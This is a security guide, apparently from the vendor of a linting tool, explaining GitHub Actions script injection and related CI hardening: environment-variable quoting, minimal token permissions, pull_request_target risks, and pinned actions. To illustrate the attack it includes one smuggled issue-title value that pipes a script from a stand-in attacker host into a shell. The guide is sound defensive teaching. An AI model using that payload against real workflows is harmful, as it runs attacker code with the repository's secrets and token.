Skip to content

GitHub Actions script injection: how a branch name can run code in your CI

Updated 9 November 2026 · 6 min read

GitHub Actions workflows often use details from the event that started them: an issue title, a pull request body, a branch name. Anyone who can open an issue or a pull request controls those values. If one is pasted straight into a run: step, it becomes part of a shell command.

The problem

on: issues
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"

GitHub replaces ${{ ... }} before the shell runs. An issue titled "; curl https://attacker.example | sh; echo " turns that line into three commands. The workflow then runs the attacker’s script, with whatever secrets and token permissions the job has.

The same applies to github.head_ref (the branch name of a pull request, which a fork can choose), pull request titles and bodies, comment bodies, commit messages and author names. GitHub’s security hardening guide describes it in detail.

The fix: pass it through an environment variable

      - name: Log the issue
        env:
          TITLE: ${{ github.event.issue.title }}
        run: echo "New issue: $TITLE"

Now the shell receives the title as data in a variable, not as part of the command. Quote the variable ("$TITLE") wherever you use it. Using ${{ }} in if: conditions or in an action’s with: inputs is generally fine, because they aren’t run as a shell script.

Three more settings worth checking

1. Token permissions. permissions: write-all lets every step, including third-party actions, push code and change releases. Set the minimum at the top of the workflow and add more per job:

permissions:
  contents: read

2. pull_request_target. This trigger runs with your repository’s secrets, even for pull requests from forks. Never check out the pull request’s own code in it (ref: ${{ github.event.pull_request.head.sha }}). If you need to build contributor code, use the pull_request trigger instead.

3. Pinned actions. uses: some-org/some-action@v3 follows a tag the action’s owner can move. Pin third-party actions to a full commit SHA, with the version as a comment.

Which rules this relates to

These are supply chain risks: OWASP A03:2025 Software Supply Chain Failures, the EU Cyber Resilience Act’s requirement for secure updates (Annex I Part II), and CWE-78 OS Command Injection. The OpenSSF Scorecard checks several of them on public repositories.

Checking it automatically

Lintsure reads your workflow files and flags untrusted text in run: steps (ci.script-injection), write-all permissions (ci.write-all-permissions), pull_request_target workflows that check out untrusted code (ci.prt-checkout-head) and unpinned actions (ci.action-unpinned). In our tests on 100 public projects, script injection showed up in several large, well-maintained repositories. Run it on yours.

Check your own code

Lintsure runs these checks on your machine and never uploads your code.

npx lintsure scan

This guide is our own reading of public texts, written for software teams. It is not legal advice and it doesn't cover your whole obligation, only the parts code can show. Ask a qualified person before any audit or decision. Disclaimer